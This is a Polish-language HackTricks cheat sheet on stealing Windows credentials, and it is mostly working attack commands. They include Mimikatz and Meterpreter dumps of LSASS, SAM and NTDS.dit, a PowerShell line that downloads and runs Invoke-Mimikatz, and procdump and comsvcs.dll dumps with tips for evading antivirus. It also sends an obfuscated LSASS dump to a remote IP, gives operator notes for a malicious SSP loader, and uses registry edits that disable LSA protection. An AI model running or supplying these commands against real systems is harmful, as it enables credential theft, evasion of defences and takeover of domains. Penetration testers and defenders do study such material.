Kradzież poświadczeń Windows
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Poświadczenia Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Znajdź inne rzeczy, które Mimikatz może zrobić na this page.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Dowiedz się tutaj o możliwych zabezpieczeniach credentials. Te zabezpieczenia mogą uniemożliwić Mimikatz wyodrębnienie niektórych credentials.
Credentials z Meterpreterem
Użyj Credentials Plugin który stworzyłem, aby wyszukać passwords i hashes na maszynie ofiary.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Bypassing AV
Procdump + Mimikatz
Ponieważ Procdump from SysInternals is a legitimate Microsoft tool, nie jest wykrywany przez Defender.
Możesz użyć tego narzędzia, aby dump the lsass process, download the dump i extract the credentials locally z tego zrzutu.
Możesz też użyć SharpDump.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
Ten proces jest wykonywany automatycznie za pomocą SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Uwaga: Niektóre AV mogą uznać za złośliwe użycie procdump.exe to dump lsass.exe, ponieważ wykrywają ciąg “procdump.exe” and “lsass.exe”. Dlatego bardziej dyskretnie jest przekazać jako argument PID procesu lsass.exe do procdump zamiast nazwy lsass.exe.
Zrzucanie lsass przy użyciu comsvcs.dll
Biblioteka DLL o nazwie comsvcs.dll znajdująca się w C:\Windows\System32 odpowiada za zrzucanie pamięci procesu w przypadku awarii. Ta DLL zawiera funkcję o nazwie MiniDumpW, zaprojektowaną do wywołania przy użyciu rundll32.exe.
Nieistotne są pierwsze dwa argumenty, jednak trzeci jest podzielony na trzy składniki. ID procesu do zrzucenia stanowi pierwszy składnik, lokalizacja pliku zrzutu — drugi, a trzeci składnik to wyłącznie słowo full. Nie ma innych opcji.
Po sparsowaniu tych trzech składników DLL rozpoczyna tworzenie pliku zrzutu i zapisuje do niego pamięć wskazanego procesu.
Wykorzystanie comsvcs.dll pozwala na zrzucenie procesu lsass, eliminując konieczność przesyłania i uruchamiania procdump. Ta metoda jest opisana szczegółowo na https://en.hackndo.com/remote-lsass-dump-passwords/.
Do wykonania używa się następującego polecenia:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Proces ten możesz zautomatyzować za pomocą lssasy.
Dumping lsass with Task Manager
- Kliknij prawym przyciskiem myszy na Task Bar i wybierz Task Manager
- Kliknij More details
- W zakładce Processes wyszukaj proces “Local Security Authority Process”
- Kliknij prawym przyciskiem na proces “Local Security Authority Process” i wybierz “Create dump file”.
Dumping lsass with procdump
Procdump is a Microsoft signed binary which is a part of sysinternals suite.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpin lsass with PPLBlade
PPLBlade to narzędzie Protected Process Dumper, które wspiera obfuskację zrzutu pamięci i przesyłanie go na zdalne stacje robocze bez zapisu na dysku.
Kluczowe funkcje:
- Omijanie ochrony PPL
- Obfuskacja plików zrzutu pamięci w celu ominięcia mechanizmów wykrywania opartych na sygnaturach Defendera
- Przesyłanie zrzutu pamięci przy użyciu metod RAW i SMB bez zapisu na dysku (fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper – SSP-based zrzucanie LSASS bez wywoływania MiniDumpWriteDump
Ink Dragon dostarcza trzyetapowy dumper nazwany LalsDumper, który nigdy nie wywołuje MiniDumpWriteDump, więc haki EDR na tym API nigdy się nie uruchamiają:
- Stage 1 loader (
lals.exe) – przeszukujefdp.dllw poszukiwaniu placeholdera składającego się z 32 małych znakówd, nadpisuje go absolutną ścieżką dortu.txt, zapisuje załatany DLL jakonfdp.dlli wywołuje AddSecurityPackageA(“nfdp”,“fdp”). To zmusza LSASS do załadowania złośliwego DLL jako nowego Security Support Provider (SSP). - Stage 2 inside LSASS – gdy LSASS ładuje
nfdp.dll, DLL czytartu.txt, XORuje każdy bajt z0x20i mapuje zdekodowany blob do pamięci przed przekazaniem wykonania. - Stage 3 dumper – zamapowany payload implementuje na nowo logikę MiniDump używając direct syscalls rozwiązanych z hashed API names (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). Dedykowany eksport o nazwieTomotwiera%TEMP%\<pid>.ddt, strumieniuje skompresowany zrzut LSASS do pliku i zamyka uchwyt, aby exfiltration mogła nastąpić później.
Operator notes:
- Trzymaj
lals.exe,fdp.dll,nfdp.dllirtu.txtw tym samym katalogu. Stage 1 nadpisuje twardo zakodowany znacznik absolutną ścieżką dortu.txt, więc rozdzielenie plików przerywa łańcuch. - Rejestracja odbywa się przez dopisanie
nfdpdoHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Możesz ustawić tę wartość samodzielnie, aby LSASS przeładowywał SSP przy każdym starcie. - Pliki
%TEMP%\*.ddtsą skompresowanymi zrzutami. Dekompresuj lokalnie, a następnie podaj je do Mimikatz/Volatility w celu ekstrakcji poświadczeń. - Uruchomienie
lals.exewymaga uprawnień admin/SeTcb, abyAddSecurityPackageAzakończyło się powodzeniem; gdy wywołanie zwróci wynik, LSASS w sposób przezroczysty ładuje złośliwy SSP i wykonuje Stage 2. - Usunięcie DLL z dysku nie usuwa go z LSASS. Albo usuń wpis rejestru i zrestartuj LSASS (reboot), albo zostaw go dla długoterminowej persystencji.
CrackMapExec
Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Wyciąganie sekretów LSA
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Zrzucenie pliku NTDS.dit z docelowego DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Dump historii haseł NTDS.dit z target DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Pokaż atrybut pwdLastSet dla każdego konta w NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
Te pliki powinny być zlokalizowane w C:\windows\system32\config\SAM i C:\windows\system32\config\SYSTEM. Jednak nie można ich po prostu skopiować w zwykły sposób, ponieważ są chronione.
Z rejestru
Najprostszym sposobem na pozyskanie tych plików jest skopiowanie ich z rejestru:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Pobierz te pliki na swoją maszynę Kali i wyodrębnij hashes używając:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Możesz wykonać kopiowanie chronionych plików za pomocą tej usługi. Musisz mieć uprawnienia Administratora.
Using vssadmin
Binarka vssadmin jest dostępna tylko w wersjach Windows Server
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Możesz to samo zrobić z poziomu Powershell. Oto przykład jak skopiować plik SAM (używany dysk twardy to “C:” i zapisano go w C:\users\Public), ale możesz użyć tego do kopiowania dowolnego chronionego pliku:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
Invoke-NinjaCopy
Na koniec możesz też użyć PS script Invoke-NinjaCopy do skopiowania SAM, SYSTEM i ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
Plik NTDS.dit jest uważany za serce Active Directory, zawierając kluczowe dane o obiektach użytkowników, grupach i ich członkostwach. To tam przechowywane są password hashes dla użytkowników domeny. Ten plik jest bazą danych Extensible Storage Engine (ESE) i znajduje się w %SystemRoom%/NTDS/ntds.dit.
W tej bazie danych utrzymywane są trzy główne tabele:
- Data Table: Ta tabela odpowiada za przechowywanie szczegółów o obiektach takich jak użytkownicy i grupy.
- Link Table: Śledzi relacje, takie jak członkostwa w grupach.
- SD Table: Security descriptors dla każdego obiektu są tutaj przechowywane, zapewniając bezpieczeństwo i kontrolę dostępu do przechowywanych obiektów.
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows używa Ntdsa.dll do interakcji z tym plikiem i jest on używany przez lsass.exe. W związku z tym part pliku NTDS.dit może znajdować się inside the lsass memory (możesz znaleźć najnowsze dostępne dane, prawdopodobnie dzięki poprawie wydajności poprzez użycie cache).
Decrypting the hashes inside NTDS.dit
Hash jest szyfrowany 3 razy:
- Odszyfruj Password Encryption Key (PEK) za pomocą BOOTKEY i RC4.
- Odszyfruj ten hash używając PEK i RC4.
- Odszyfruj hash używając DES.
PEK ma tę samą wartość w every domain controller, ale jest cyphered wewnątrz pliku NTDS.dit przy użyciu BOOTKEY z pliku SYSTEM kontrolera domeny (is different between domain controllers). Dlatego aby uzyskać credentials z pliku NTDS.dit you need the files NTDS.dit and SYSTEM (C:\Windows\System32\config\SYSTEM).
Copying NTDS.dit using Ntdsutil
Dostępne od Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Możesz też użyć volume shadow copy do skopiowania pliku ntds.dit. Pamiętaj, że będziesz również potrzebować kopii pliku SYSTEM (ponownie: dump it from the registry or use the volume shadow copy sztuczka).
Wyodrębnianie hashes z NTDS.dit
Po uzyskaniu plików NTDS.dit i SYSTEM możesz użyć narzędzi takich jak secretsdump.py aby wyodrębnić hashes:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Możesz także wyodrębnić je automatycznie używając ważnego użytkownika domain admin:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Dla dużych plików NTDS.dit zaleca się ich ekstrakcję przy użyciu gosecretsdump.
Możesz też użyć metasploit module: post/windows/gather/credentials/domain_hashdump lub mimikatz lsadump::lsa /inject
Ekstrakcja obiektów domeny z NTDS.dit do bazy danych SQLite
Obiekty NTDS można wyeksportować do bazy danych SQLite za pomocą ntdsdotsqlite. Nie są wyodrębniane tylko sekrety — eksportowane są także całe obiekty i ich atrybuty, co umożliwia dalsze wydobycie informacji, gdy surowy plik NTDS.dit został już pozyskany.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
The SYSTEM hive jest opcjonalny, ale pozwala na odszyfrowanie sekretów (NT & LM hashes, supplemental credentials takie jak cleartext passwords, kerberos lub trust keys, NT & LM password histories). Wraz z innymi informacjami wyodrębniane są następujące dane: konta użytkowników i komputerów wraz z ich hashami, UAC flags, znaczniki czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i rekurencyjne członkostwa, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami…
Lazagne
Pobierz binarkę z here. Możesz użyć tej binarki do wydobycia credentials z wielu aplikacji.
lazagne.exe all
Inne narzędzia do wyodrębniania credentials z SAM i LSASS
Windows credentials Editor (WCE)
To narzędzie może być użyte do wyodrębniania credentials z pamięci. Pobierz je z: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Służy do wyodrębniania credentials z pliku SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Wyodrębnij poświadczenia z pliku SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.
Wydobywanie nieaktywnych sesji RDP i osłabianie kontroli bezpieczeństwa
Ink Dragon’s FinalDraft RAT includes a DumpRDPHistory tasker whose techniques are handy for any red-teamer:
DumpRDPHistory-style telemetry collection
- Zewnętrzne cele RDP – przetwórz każdą gałąź użytkownika rejestru w
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*. Każdy podklucz zawiera nazwę serwera,UsernameHint, oraz znacznik czasu ostatniego zapisu. Możesz odtworzyć logikę FinalDraft przy użyciu PowerShell:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Dowody przychodzących RDP – przeszukaj log
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationalpod kątem Event ID 21 (udane logowanie) i 25 (rozłączenie), aby zmapować, kto administrował maszyną:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
Gdy już wiesz, który Domain Admin łączy się regularnie, zrób zrzut LSASS (przy użyciu LalsDumper/Mimikatz) dopóki ich rozłączona sesja nadal istnieje. CredSSP + NTLM fallback pozostawiają ich verifier i tokeny w LSASS, które można następnie odtworzyć przez SMB/WinRM, aby pozyskać NTDS.dit lub osadzić persistence na domain controllers.
Modyfikacje rejestru stosowane przez FinalDraft
Ten sam implant modyfikuje również kilka kluczy rejestru, aby ułatwić kradzież poświadczeń:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
- Ustawienie
DisableRestrictedAdmin=1wymusza pełne credential/ticket reuse podczas RDP, umożliwiając pivoty w stylu pass-the-hash. LocalAccountTokenFilterPolicy=1wyłącza UAC token filtering, dzięki czemu local admins otrzymują nieograniczone tokeny przez sieć.DSRMAdminLogonBehavior=2pozwala administratorowi DSRM zalogować się, gdy DC jest online, dając atakującym kolejne wbudowane konto o wysokich uprawnieniach.RunAsPPL=0usuwa zabezpieczenia LSASS PPL, upraszczając dostęp do pamięci dla dumperów takich jak LalsDumper.
Źródła
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


